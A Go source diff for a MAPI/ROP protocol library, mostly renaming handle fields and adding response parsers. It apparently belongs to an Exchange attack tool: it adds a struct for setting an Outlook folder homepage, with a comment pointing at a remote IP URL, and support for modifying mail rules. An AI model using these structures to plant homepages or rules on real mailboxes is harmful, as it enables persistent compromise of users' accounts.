@@ type RopSetColumnsRequest struct { //RopSetColumnsResponse struct used to select the columns to use type RopSetColumnsResponse struct { - RopID uint8 //0x12 - InputHandle uint8 - ReturnValue uint32 - TableStatus uint8 + RopID uint8 //0x12 + InputHandleIndex uint8 + ReturnValue uint32 + TableStatus uint8 } //RopQueryRowsRequest struct used to select the columns to use type RopQueryRowsRequest struct { - RopID uint8 //0x15 - LogonID uint8 - InputHandle uint8 - QueryRowsFlags uint8 - ForwardRead byte - RowCount uint16 + RopID uint8 //0x15 + LogonID uint8 + InputHandleIndex uint8 + QueryRowsFlags uint8 + ForwardRead byte + RowCount uint16 } //RopQueryRowsResponse struct used to select the columns to use type RopQueryRowsResponse struct { - RopID uint8 //0x15 - InputHandle uint8 - ReturnValue uint32 - Origin byte - RowCount uint16 - RowData [][]PropertyRow + RopID uint8 //0x15 + InputHandleIndex uint8 + ReturnValue uint32 + Origin byte + RowCount uint16 + RowData [][]PropertyRow } //RopSetMessageStatusRequest struct used to select the columns to use type RopSetMessageStatusRequest struct { RopID uint8 //0x20 LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 MessageID []byte MessageStatusFlags PropertyTag MessageStatusMask uint32 @@ -724,16 +894,16 @@ type RopSetMessageStatusRequest struct { //RopSetMessageStatusResponse struct used to select the columns to use type RopSetMessageStatusResponse struct { RopID uint8 //0x20 - InputHandle uint8 + InputHandleIndex uint8 ReturnValue uint32 MessageStatusFlags uint32 } //RopReleaseRequest struct used to release all resources associated with a server object type RopReleaseRequest struct { - RopID uint8 //0x01 - LogonID uint8 - InputHandle uint8 + RopID uint8 //0x01 + LogonID uint8 + InputHandleIndex uint8 } //RopReleaseResponse struct used to release all resources associated with a server object @@ -742,15 +912,6 @@ type RopReleaseResponse struct { ReturnValue uint32 } -//RopCreateMessageResponse struct used to open handle to new email message -type RopCreateMessageResponse struct { - RopID uint8 - OutputHandle uint8 - ReturnValue uint32 - HasMessageID byte //bool - MessageID []byte //bool -} - //RopModifyRulesRequest struct type RopModifyRulesRequest struct { RopID uint8 //0x41 @@ -761,18 +922,25 @@ type RopModifyRulesRequest struct { RuleData RuleData } +//RopModifyRulesResponse struct +type RopModifyRulesResponse struct { + RopID uint8 //0x41 + InputHandleIndex uint8 //0x41 + ReturnValue uint32 +} + //RopGetRulesTableResponse strcut type RopGetRulesTableResponse struct { - RopID uint8 - OutputHandle uint8 - ReturnValue uint32 + RopID uint8 + OutputHandleIndex uint8 + ReturnValue uint32 } //RopModifyRecipientsRequest to modify who is receiving email type RopModifyRecipientsRequest struct { RopID uint8 //0x0E LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 ColumnCount uint16 RecipientColumns []PropertyTag RowCount uint16 @@ -781,9 +949,9 @@ type RopModifyRecipientsRequest struct { //RopModifyRecipientsResponse to modify who is receiving email type RopModifyRecipientsResponse struct { - RopID uint8 //0x0E - InputHandle uint8 - ReturnValue uint32 + RopID uint8 //0x0E + InputHandleIndex uint8 + ReturnValue uint32 } //ModifyRecipientRow contains information about a recipient @@ -866,6 +1034,9 @@ type ActionData struct { Footer []byte } +/*CRuleAction holds a rule element as saved in outlook +This is a reverse engineered struct, not all values are correct/complete +*/ type CRuleAction struct { Head byte Tag []byte @@ -874,6 +1045,32 @@ type CRuleAction struct { Value []byte } +//PropertyName stuct defines a Named property +type PropertyName struct { + Kind uint8 //0x00,0x01,0xff + GUID []byte //16 byte guid + LID []byte //OPTIONAL: if Kind == 0x00 + NameSize []byte //OPTIONAL: 1 byte size if Kind == 0x01 + Name []byte //OPTIONAL: if Kind == 0x01 +} + +/*WebViewPersistenceObjectStream struct containing the data for setting a homepage +dwVersion = 0x00000002 = WEBVIEW_PERSISTENCE_VERSION +dwType = 0x00000001 = WEBVIEWURL +dwFlags = 0x00000001 = WEBVIEW_FLAGS_SHOWBYDEFAULT +dwUnused = cb: 28 lpb: 00000000000000000000000000000000000000000000000000000000 +cbData = 0x00000046 +wzURL = http://212.111.43.206:9090/pk.html. +*/ +type WebViewPersistenceObjectStream struct { + Version uint32 + Type uint32 + Flags uint32 + Reserved []byte //[]byte{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00} + Size uint32 + Value []byte //unicode string +} + //TaggedPropertyValue struct type TaggedPropertyValue struct { PropertyTag PropertyTag @@ -896,11 +1093,22 @@ type StandardPropertyRow struct { type PropertyRow struct { Flag uint8 //non-zero indicates error ValueArray []byte + PropType []byte + PropID []byte +} + +//OpenRecipientRow holds the data for a recipient returned on a message +type OpenRecipientRow struct { + RecipientType uint8 + CodePageID uint16 + Reserved uint16 + RecipientRowSize uint16 + RecipientRow RecipientRow } //RopResponse interface for common methods on RopResponses type RopResponse interface { - Unmarshal([]byte) error + Unmarshal([]byte) (int, error) } //RopRequest interface for common methods on RopRequests @@ -918,6 +1126,11 @@ type Request interface { Marshal() []byte } +/* +func RopOpenFolderRequest() Request { + return RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} +}*/ + //Marshal turn ExecuteRequest into Bytes func (execRequest ExecuteRequest) Marshal() []byte { execRequest.CalcSizes(false) @@ -956,6 +1169,16 @@ func (logonRequest RopLogonRequest) Marshal() []byte { return utils.BodyToBytes(logonRequest) } +//Marshal turn RopReadPerUserInformationRequest into Bytes +func (readRequest RopReadPerUserInformationRequest) Marshal() []byte { + return utils.BodyToBytes(readRequest) +} + +//Marshal turn RopLongTermIDFromIDRequest into Bytes +func (readRequest RopLongTermIDFromIDRequest) Marshal() []byte { + return utils.BodyToBytes(readRequest) +} + //Marshal turn the RopQueryRowsRequest into bytes func (queryRows RopQueryRowsRequest) Marshal() []byte { return utils.BodyToBytes(queryRows) @@ -1011,8 +1234,18 @@ func (getBuff RopFastTransferDestinationPutBufferRequest) Marshal() []byte { return utils.BodyToBytes(getBuff) } -//Marshal turn RopGetPropertiesSpecific into Bytes -func (getProps RopGetPropertiesSpecific) Marshal() []byte { +//Marshal turn RopGetPropertiesSpecificRequestinto Bytes +func (getProps RopGetPropertiesSpecificRequest) Marshal() []byte { + return utils.BodyToBytes(getProps) +} + +//Marshal turn RopGetPropertiesAllRequest into Bytes +func (getProps RopGetPropertiesAllRequest) Marshal() []byte { + return utils.BodyToBytes(getProps) +} + +//Marshal turn RopGetPropertiesListRequest into Bytes +func (getProps RopGetPropertiesListRequest) Marshal() []byte { return utils.BodyToBytes(getProps) } @@ -1021,6 +1254,16 @@ func (getContentsTable RopGetContentsTableRequest) Marshal() []byte { return utils.BodyToBytes(getContentsTable) } +//Marshal turn RopSetSearchCriteriaRequest into Bytes +func (setSearchCriteria RopSetSearchCriteriaRequest) Marshal() []byte { + return utils.BodyToBytes(setSearchCriteria) +} + +//Marshal turn RopSetSearchCriteriaRequest into Bytes +func (getSearchCriteria RopGetSearchCriteriaRequest) Marshal() []byte { + return utils.BodyToBytes(getSearchCriteria) +} + //Marshal turn RopGetRulesTableRequest into Bytes func (getRules RopGetRulesTableRequest) Marshal() []byte { return utils.BodyToBytes(getRules) @@ -1136,6 +1379,21 @@ func (saveAttach RopSaveChangesAttachmentRequest) Marshal() []byte { return utils.BodyToBytes(saveAttach) } +//Marshal turn RopGetHierarchyTableRequest into Bytes +func (wvpObjectStream WebViewPersistenceObjectStream) Marshal() []byte { + return utils.BodyToBytes(wvpObjectStream) +} + +//Marshal turn RopGetPropertyIdsFromNamesRequest into Bytes +func (getIds RopGetPropertyIdsFromNamesRequest) Marshal() []byte { + return utils.BodyToBytes(getIds) +} + +//Marshal turn RopGetNamesFromPropertyIdsRequest into Bytes +func (getNames RopGetNamesFromPropertyIdsRequest) Marshal() []byte { + return utils.BodyToBytes(getNames) +} + //Unmarshal function to convert response into ConnectResponse struct func (connResponse *ConnectResponse) Unmarshal(resp []byte) error { pos := 0 @@ -1157,13 +1415,13 @@ func (connResponse *ConnectResponse) Unmarshal(resp []byte) error { } //Unmarshal function to produce RopLogonResponse struct -func (logonResponse *RopLogonResponse) Unmarshal(resp []byte) error { - pos := 10 +func (logonResponse *RopLogonResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 logonResponse.RopID, pos = utils.ReadByte(pos, resp) logonResponse.OutputHandleIndex, pos = utils.ReadByte(pos, resp) logonResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if logonResponse.ReturnValue != 0 { - return &ErrorCode{logonResponse.ReturnValue} + return 0, &ErrorCode{logonResponse.ReturnValue} } logonResponse.LogonFlags, pos = utils.ReadByte(pos, resp) logonResponse.FolderIds, pos = utils.ReadBytes(pos, 104, resp) @@ -1174,7 +1432,7 @@ func (logonResponse *RopLogonResponse) Unmarshal(resp []byte) error { logonResponse.LogonTime, pos = utils.ReadBytes(pos, 8, resp) logonResponse.GwartTime, pos = utils.ReadBytes(pos, 8, resp) logonResponse.StoreState, _ = utils.ReadBytes(pos, 4, resp) - return nil + return pos, nil } //Unmarshal for ExecuteResponse @@ -1183,7 +1441,6 @@ func (logonResponse *RopLogonResponse) Unmarshal(resp []byte) error { //RPC StatusCode,RopBufferSize,Flags,RopBufferSize func (execResponse *ExecuteResponse) Unmarshal(resp []byte) error { pos := 0 - var buf []byte execResponse.StatusCode, pos = utils.ReadUint32(pos, resp) @@ -1191,18 +1448,30 @@ func (execResponse *ExecuteResponse) Unmarshal(resp []byte) error { if execResponse.StatusCode == 255 { //error occurred.. execResponse.AuxilliaryBufSize, pos = utils.ReadUint32(pos, resp) execResponse.AuxilliaryBuf = resp[8 : 8+execResponse.AuxilliaryBufSize] - } else { - execResponse.ErrorCode, pos = utils.ReadUint32(pos, resp) //error code if MAPIHTTP else this is also the buffer size - execResponse.Flags, pos = utils.ReadUint32(pos, resp) - execResponse.RopBufferSize, pos = utils.ReadUint32(pos, resp) - if len(resp) < pos+int(execResponse.RopBufferSize) { - return nil - } - buf, pos = utils.ReadBytes(pos, int(execResponse.RopBufferSize), resp) - execResponse.RopBuffer = buf - execResponse.AuxilliaryBufSize, _ = utils.ReadUint32(pos, resp) - //execResponse.AuxilliaryBuf, _ = utils.ReadBytes(pos, int(execResponse.AuxilliaryBufSize), resp) + return fmt.Errorf("Non-Zero status-code returned") + } + + execResponse.ErrorCode, pos = utils.ReadUint32(pos, resp) //error code if MAPIHTTP else this is also the buffer size + if execResponse.ErrorCode == 0x000004B6 { //ecRpcFormat + return fmt.Errorf("ecRPCFormat error response. Indicates a malformed request") } + execResponse.Flags, pos = utils.ReadUint32(pos, resp) + execResponse.RopBufferSize, pos = utils.ReadUint32(pos, resp) + //Empty Rop Buffer indicates there is a problem... + if execResponse.RopBufferSize == 0 { + return fmt.Errorf("Empty Rop Buffer returned. Likely a malformed request was sent.") + } + if len(resp) < pos+int(execResponse.RopBufferSize) { + return fmt.Errorf("Packet size mismatch. RopBuffer Size %d, got packet of %d", execResponse.RopBufferSize, len(resp)) + } + //parse out ROPBuffer header and body + rpbuff := RopBufferResp{} + rpbuff.Header, pos = utils.ReadBytes(pos, 10, resp) + rpbuff.Body, pos = utils.ReadBytes(pos, int(execResponse.RopBufferSize)-10, resp) + execResponse.RopBuffer = rpbuff + //execResponse.AuxilliaryBufSize, _ = utils.ReadUint32(pos, resp) + //execResponse.AuxilliaryBuf, _ = utils.ReadBytes(pos, int(execResponse.AuxilliaryBufSize), resp) + return nil } @@ -1217,11 +1486,45 @@ func (ropRelease *RopReleaseResponse) Unmarshal(resp []byte) (int, error) { return pos, nil } +//Unmarshal function to produce RopCreateMessageResponse struct +func (readUserInfoResp *RopReadPerUserInformationResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + + readUserInfoResp.RopID, pos = utils.ReadByte(pos, resp) + readUserInfoResp.InputHandleIndex, pos = utils.ReadByte(pos, resp) + readUserInfoResp.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if readUserInfoResp.ReturnValue != 0 { + return pos, &ErrorCode{readUserInfoResp.ReturnValue} + } + + readUserInfoResp.DataSize, pos = utils.ReadUint16(pos, resp) + readUserInfoResp.Data, pos = utils.ReadBytes(pos, int(readUserInfoResp.DataSize), resp) + return pos, nil +} + +//Unmarshal function to produce RopLongTermIDFromIDResponse struct +func (longTermID *RopLongTermIDFromIDResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + + longTermID.RopID, pos = utils.ReadByte(pos, resp) + longTermID.InputHandleIndex, pos = utils.ReadByte(pos, resp) + longTermID.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if longTermID.ReturnValue != 0 { + return pos, &ErrorCode{longTermID.ReturnValue} + } + + longTermID.LongTermID, pos = utils.ReadBytes(pos, 24, resp) + + return pos, nil +} + //Unmarshal func func (ropContents *RopGetContentsTableResponse) Unmarshal(resp []byte) (int, error) { pos := 0 ropContents.RopID, pos = utils.ReadByte(pos, resp) - ropContents.OutputHandle, pos = utils.ReadByte(pos, resp) + ropContents.OutputHandleIndex, pos = utils.ReadByte(pos, resp) ropContents.ReturnValue, pos = utils.ReadUint32(pos, resp) if ropContents.ReturnValue != 0 { return pos, &ErrorCode{ropContents.ReturnValue} @@ -1234,7 +1537,7 @@ func (ropContents *RopGetContentsTableResponse) Unmarshal(resp []byte) (int, err func (setStatus *RopSetMessageStatusResponse) Unmarshal(resp []byte) (int, error) { pos := 0 setStatus.RopID, pos = utils.ReadByte(pos, resp) - setStatus.InputHandle, pos = utils.ReadByte(pos, resp) + setStatus.InputHandleIndex, pos = utils.ReadByte(pos, resp) setStatus.ReturnValue, pos = utils.ReadUint32(pos, resp) if setStatus.ReturnValue != 0 { return pos, &ErrorCode{setStatus.ReturnValue} @@ -1247,7 +1550,7 @@ func (setStatus *RopSetMessageStatusResponse) Unmarshal(resp []byte) (int, error func (createFolder *RopCreateFolderResponse) Unmarshal(resp []byte) (int, error) { pos := 0 createFolder.RopID, pos = utils.ReadByte(pos, resp) - createFolder.OutputHandle, pos = utils.ReadByte(pos, resp) + createFolder.OutputHandleIndex, pos = utils.ReadByte(pos, resp) createFolder.ReturnValue, pos = utils.ReadUint32(pos, resp) if createFolder.ReturnValue != 0 { return pos, &ErrorCode{createFolder.ReturnValue} @@ -1261,7 +1564,7 @@ func (createMessageResponse *RopCreateMessageResponse) Unmarshal(resp []byte) (i pos := 0 createMessageResponse.RopID, pos = utils.ReadByte(pos, resp) - createMessageResponse.OutputHandle, pos = utils.ReadByte(pos, resp) + createMessageResponse.OutputHandleIndex, pos = utils.ReadByte(pos, resp) createMessageResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if createMessageResponse.ReturnValue == 0 { @@ -1281,7 +1584,7 @@ func (deleteMessageResponse *RopDeleteMessagesResponse) Unmarshal(resp []byte) ( pos := 0 deleteMessageResponse.RopID, pos = utils.ReadByte(pos, resp) - deleteMessageResponse.InputHandle, pos = utils.ReadByte(pos, resp) + deleteMessageResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) deleteMessageResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) deleteMessageResponse.PartialCompletion, pos = utils.ReadByte(pos, resp) if deleteMessageResponse.ReturnValue != 0 { @@ -1295,7 +1598,7 @@ func (emptyFolderResponse *RopEmptyFolderResponse) Unmarshal(resp []byte) (int, pos := 0 emptyFolderResponse.RopID, pos = utils.ReadByte(pos, resp) - emptyFolderResponse.InputHandle, pos = utils.ReadByte(pos, resp) + emptyFolderResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) emptyFolderResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) emptyFolderResponse.PartialComplete, pos = utils.ReadByte(pos, resp) if emptyFolderResponse.ReturnValue != 0 { @@ -1309,7 +1612,7 @@ func (deleteFolderResponse *RopDeleteFolderResponse) Unmarshal(resp []byte) (int pos := 0 deleteFolderResponse.RopID, pos = utils.ReadByte(pos, resp) - deleteFolderResponse.InputHandle, pos = utils.ReadByte(pos, resp) + deleteFolderResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) deleteFolderResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) deleteFolderResponse.PartialComplete, pos = utils.ReadByte(pos, resp) if deleteFolderResponse.ReturnValue != 0 { @@ -1318,12 +1621,51 @@ func (deleteFolderResponse *RopDeleteFolderResponse) Unmarshal(resp []byte) (int return pos, nil } +//Unmarshal function to produce RopSetSearchCriteriaResponse struct +func (setSearchCriteriaResp *RopSetSearchCriteriaResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + + setSearchCriteriaResp.RopID, pos = utils.ReadByte(pos, resp) + setSearchCriteriaResp.InputHandleIndex, pos = utils.ReadByte(pos, resp) + setSearchCriteriaResp.ReturnValue, pos = utils.ReadUint32(pos, resp) + if setSearchCriteriaResp.ReturnValue != 0 { + return pos, &ErrorCode{setSearchCriteriaResp.ReturnValue} + } + return pos, nil +} + +//Unmarshal function to produce RopSetSearchCriteriaResponse struct +func (getSearchCriteriaResp *RopGetSearchCriteriaResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + + getSearchCriteriaResp.RopID, pos = utils.ReadByte(pos, resp) + getSearchCriteriaResp.InputHandleIndex, pos = utils.ReadByte(pos, resp) + getSearchCriteriaResp.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if getSearchCriteriaResp.ReturnValue != 0 { + return pos, &ErrorCode{getSearchCriteriaResp.ReturnValue} + } + getSearchCriteriaResp.RestrictDataSize, pos = utils.ReadUint16(pos, resp) + if getSearchCriteriaResp.RestrictDataSize != 0 { + getSearchCriteriaResp.RestrictionData, pos = utils.ReadBytes(pos, int(getSearchCriteriaResp.RestrictDataSize), resp) + } + + getSearchCriteriaResp.LoginID, pos = utils.ReadByte(pos, resp) + + getSearchCriteriaResp.FolderIDCount, pos = utils.ReadUint16(pos, resp) + if getSearchCriteriaResp.FolderIDCount != 0 { + getSearchCriteriaResp.FolderIds, pos = utils.ReadBytes(pos, int(getSearchCriteriaResp.FolderIDCount)*8, resp) + } + getSearchCriteriaResp.SearchFlags, pos = utils.ReadUint32(pos, resp) + return pos, nil +} + //Unmarshal function to produce RopCreateMessageResponse struct func (modRecipientsResponse *RopModifyRecipientsResponse) Unmarshal(resp []byte) (int, error) { pos := 0 modRecipientsResponse.RopID, pos = utils.ReadByte(pos, resp) - modRecipientsResponse.InputHandle, pos = utils.ReadByte(pos, resp) + modRecipientsResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) modRecipientsResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if modRecipientsResponse.ReturnValue != 0 { @@ -1337,7 +1679,7 @@ func (syncResponse *RopSynchronizationOpenCollectorResponse) Unmarshal(resp []by pos := 0 syncResponse.RopID, pos = utils.ReadByte(pos, resp) - syncResponse.OutputHandle, pos = utils.ReadByte(pos, resp) + syncResponse.OutputHandleIndex, pos = utils.ReadByte(pos, resp) syncResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if syncResponse.ReturnValue != 0 { @@ -1351,7 +1693,7 @@ func (submitMessageResp *RopSubmitMessageResponse) Unmarshal(resp []byte) (int, pos := 0 submitMessageResp.RopID, pos = utils.ReadByte(pos, resp) - submitMessageResp.InputHandle, pos = utils.ReadByte(pos, resp) + submitMessageResp.InputHandleIndex, pos = utils.ReadByte(pos, resp) submitMessageResp.ReturnValue, pos = utils.ReadUint32(pos, resp) if submitMessageResp.ReturnValue != 0 { @@ -1365,7 +1707,7 @@ func (setPropertiesResponse *RopSetPropertiesResponse) Unmarshal(resp []byte) (i pos := 0 setPropertiesResponse.RopID, pos = utils.ReadByte(pos, resp) - setPropertiesResponse.InputHandle, pos = utils.ReadByte(pos, resp) + setPropertiesResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) setPropertiesResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if setPropertiesResponse.ReturnValue == 0 { @@ -1384,7 +1726,7 @@ func (getPropertiesResponse *RopFastTransferSourceCopyPropertiesResponse) Unmars pos := 0 getPropertiesResponse.RopID, pos = utils.ReadByte(pos, resp) - getPropertiesResponse.InputHandle, pos = utils.ReadByte(pos, resp) + getPropertiesResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) getPropertiesResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if getPropertiesResponse.ReturnValue != 0 { @@ -1393,12 +1735,63 @@ func (getPropertiesResponse *RopFastTransferSourceCopyPropertiesResponse) Unmars return pos, nil } +//Unmarshal function to produce RopCreateMessageResponse struct +func (getPropertiesResponse *RopGetPropertyIdsFromNamesResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + + getPropertiesResponse.RopID, pos = utils.ReadByte(pos, resp) + getPropertiesResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) + getPropertiesResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if getPropertiesResponse.ReturnValue != 0 { + return pos, &ErrorCode{getPropertiesResponse.ReturnValue} + } + + getPropertiesResponse.PropertyIdCount, pos = utils.ReadUint16(pos, resp) + getPropertiesResponse.PropertyIds, pos = utils.ReadBytes(pos, int(getPropertiesResponse.PropertyIdCount)*16, resp) + return pos, nil +} + +//Unmarshal function to produce RopGetNamesFromPropertyIdsResponse struct +func (getNamesResponse *RopGetNamesFromPropertyIdsResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + + getNamesResponse.RopID, pos = utils.ReadByte(pos, resp) + getNamesResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) + getNamesResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if getNamesResponse.ReturnValue != 0 { + return pos, &ErrorCode{getNamesResponse.ReturnValue} + } + + getNamesResponse.PropertyNameCount, pos = utils.ReadUint16(pos, resp) + getNamesResponse.PropertyNames = make([]PropertyName, int(getNamesResponse.PropertyNameCount)) + tpos := pos + ///read propertyNames here + for i := 0; i < int(getNamesResponse.PropertyNameCount); i++ { + getNamesResponse.PropertyNames[i] = PropertyName{} + getNamesResponse.PropertyNames[i].Kind, tpos = utils.ReadByte(tpos, resp) + getNamesResponse.PropertyNames[i].GUID, tpos = utils.ReadBytes(tpos, 16, resp) + switch getNamesResponse.PropertyNames[i].Kind { + case 0x00: + getNamesResponse.PropertyNames[i].LID, tpos = utils.ReadBytes(tpos, 4, resp) + case 0x01: + getNamesResponse.PropertyNames[i].NameSize, tpos = utils.ReadBytes(tpos, 1, resp) + getNamesResponse.PropertyNames[i].Name, tpos = utils.ReadBytes(tpos, int(utils.DecodeUint8(getNamesResponse.PropertyNames[i].NameSize)), resp) + //case 0xFF: + } + } + pos = tpos + + return pos, nil +} + //Unmarshal function to produce RopFastTransferSourceGetBufferResponse struct func (buffResponse *RopFastTransferSourceGetBufferResponse) Unmarshal(resp []byte) (int, error) { pos := 0 buffResponse.RopID, pos = utils.ReadByte(pos, resp) - buffResponse.InputHandle, pos = utils.ReadByte(pos, resp) + buffResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) buffResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if buffResponse.ReturnValue == 0 { @@ -1416,7 +1809,7 @@ func (buffResponse *RopFastTransferSourceGetBufferResponse) Unmarshal(resp []byt } //Unmarshal function to produce RopSaveChangesMessageResponse struct -func (saveMessageResponse *RopSaveChangesMessageResponse) Unmarshal(resp []byte) error { +func (saveMessageResponse *RopSaveChangesMessageResponse) Unmarshal(resp []byte) (int, error) { pos := 0 saveMessageResponse.RopID, pos = utils.ReadByte(pos, resp) @@ -1424,10 +1817,12 @@ func (saveMessageResponse *RopSaveChangesMessageResponse) Unmarshal(resp []byte) saveMessageResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if saveMessageResponse.ReturnValue == 0 { - saveMessageResponse.InputHandle, pos = utils.ReadByte(pos, resp) + saveMessageResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) saveMessageResponse.MessageID, _ = utils.ReadBytes(pos, 8, resp) + } else { + return pos, &ErrorCode{saveMessageResponse.ReturnValue} } - return nil + return pos, nil } //CalcSizes func to calculate the different size fields in the ROP buffer @@ -1460,7 +1855,7 @@ func (queryRows *RopQueryRowsResponse) Unmarshal(resp []byte, properties []Prope pos := 0 var flag byte queryRows.RopID, pos = utils.ReadByte(pos, resp) - queryRows.InputHandle, pos = utils.ReadByte(pos, resp) + queryRows.InputHandleIndex, pos = utils.ReadByte(pos, resp) queryRows.ReturnValue, pos = utils.ReadUint32(pos, resp) if queryRows.ReturnValue != 0 { return pos, &ErrorCode{queryRows.ReturnValue} @@ -1524,7 +1919,7 @@ func (queryRows *RopQueryRowsResponse) Unmarshal(resp []byte, properties []Prope func (setColumnsResponse *RopSetColumnsResponse) Unmarshal(resp []byte) (int, error) { pos := 0 setColumnsResponse.RopID, pos = utils.ReadByte(pos, resp) - setColumnsResponse.InputHandle, pos = utils.ReadByte(pos, resp) + setColumnsResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) setColumnsResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) setColumnsResponse.TableStatus, pos = utils.ReadByte(pos, resp) if setColumnsResponse.ReturnValue != 0 { @@ -1537,7 +1932,7 @@ func (setColumnsResponse *RopSetColumnsResponse) Unmarshal(resp []byte) (int, er func (getRulesTable *RopGetRulesTableResponse) Unmarshal(resp []byte) (int, error) { var pos = 0 getRulesTable.RopID, pos = utils.ReadByte(pos, resp) - getRulesTable.OutputHandle, pos = utils.ReadByte(pos, resp) + getRulesTable.OutputHandleIndex, pos = utils.ReadByte(pos, resp) getRulesTable.ReturnValue, pos = utils.ReadUint32(pos, resp) if getRulesTable.ReturnValue != 0 { return pos, &ErrorCode{getRulesTable.ReturnValue} @@ -1550,7 +1945,7 @@ func (getRulesTable *RopGetRulesTableResponse) Unmarshal(resp []byte) (int, erro func (ropOpenFolderResponse *RopOpenFolderResponse) Unmarshal(resp []byte) (int, error) { pos := 0 ropOpenFolderResponse.RopID, pos = utils.ReadByte(pos, resp) - ropOpenFolderResponse.OutputHandle, pos = utils.ReadByte(pos, resp) + ropOpenFolderResponse.OutputHandleIndex, pos = utils.ReadByte(pos, resp) ropOpenFolderResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if ropOpenFolderResponse.ReturnValue != 0x000000 { @@ -1708,11 +2103,26 @@ func (commitStreamResponse *RopCommitStreamResponse) Unmarshal(resp []byte) (int return pos, nil } +//Unmarshal function to produce RopCommitStreamResponse struct +func (modRulesResp *RopModifyRulesResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + + modRulesResp.RopID, pos = utils.ReadByte(pos, resp) + modRulesResp.InputHandleIndex, pos = utils.ReadByte(pos, resp) + modRulesResp.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if modRulesResp.ReturnValue != 0 { + return pos, &ErrorCode{modRulesResp.ReturnValue} + } + + return pos, nil +} + //Unmarshal func func (ropGetHierarchyResponse *RopGetHierarchyTableResponse) Unmarshal(resp []byte) (int, error) { pos := 0 ropGetHierarchyResponse.RopID, pos = utils.ReadByte(pos, resp) - ropGetHierarchyResponse.OutputHandle, pos = utils.ReadByte(pos, resp) + ropGetHierarchyResponse.OutputHandleIndex, pos = utils.ReadByte(pos, resp) ropGetHierarchyResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if ropGetHierarchyResponse.ReturnValue != 0x000000 { @@ -1727,7 +2137,7 @@ func (ropGetHierarchyResponse *RopGetHierarchyTableResponse) Unmarshal(resp []by func (ropOpenMessageResponse *RopOpenMessageResponse) Unmarshal(resp []byte) (int, error) { pos := 0 ropOpenMessageResponse.RopID, pos = utils.ReadByte(pos, resp) - ropOpenMessageResponse.OutputHandle, pos = utils.ReadByte(pos, resp) + ropOpenMessageResponse.OutputHandleIndex, pos = utils.ReadByte(pos, resp) ropOpenMessageResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if ropOpenMessageResponse.ReturnValue != 0x000000 { @@ -1735,15 +2145,51 @@ func (ropOpenMessageResponse *RopOpenMessageResponse) Unmarshal(resp []byte) (in } ropOpenMessageResponse.HasNamedProperties, pos = utils.ReadByte(pos, resp) - if ropOpenMessageResponse.HasNamedProperties == 1 { - ropOpenMessageResponse.SubjectPrefix, pos = utils.ReadTypedString(pos, resp) //utils.ReadUnicodeString(pos, resp) - ropOpenMessageResponse.NormalizedSubject, pos = utils.ReadTypedString(pos, resp) - ropOpenMessageResponse.RecipientCount, pos = utils.ReadUint16(pos, resp) - //utils.Read recipients - } + //if ropOpenMessageResponse.HasNamedProperties == 1 { + ropOpenMessageResponse.SubjectPrefix, pos = utils.ReadTypedString(pos, resp) //utils.ReadUnicodeString(pos, resp) + ropOpenMessageResponse.NormalizedSubject, pos = utils.ReadTypedString(pos, resp) + ropOpenMessageResponse.RecipientCount, pos = utils.ReadUint16(pos, resp) + //} ropOpenMessageResponse.ColumnCount, pos = utils.ReadUint16(pos, resp) + + if ropOpenMessageResponse.ColumnCount > 0 { + //read recipient columns + //these are propertytags - each tag is 4 bytes + ropOpenMessageResponse.RecipientColumns = make([]PropertyTag, ropOpenMessageResponse.ColumnCount) + for i := 0; i < int(ropOpenMessageResponse.ColumnCount); i++ { + propTag := PropertyTag{} + propTag.PropertyType, pos = utils.ReadUint16(pos, resp) + propTag.PropertyID, pos = utils.ReadUint16(pos, resp) + ropOpenMessageResponse.RecipientColumns[i] = propTag + } + } + ropOpenMessageResponse.RowCount, pos = utils.ReadByte(pos, resp) + if ropOpenMessageResponse.RowCount > 0 { + //read rows + //these are OpenRecipientRow structures + for i := 0; i < int(ropOpenMessageResponse.RowCount); i++ { + recipientRow := OpenRecipientRow{} + recipientRow.RecipientType, pos = utils.ReadByte(pos, resp) + recipientRow.CodePageID, pos = utils.ReadUint16(pos, resp) + recipientRow.Reserved, pos = utils.ReadUint16(pos, resp) + recipientRow.RecipientRowSize, 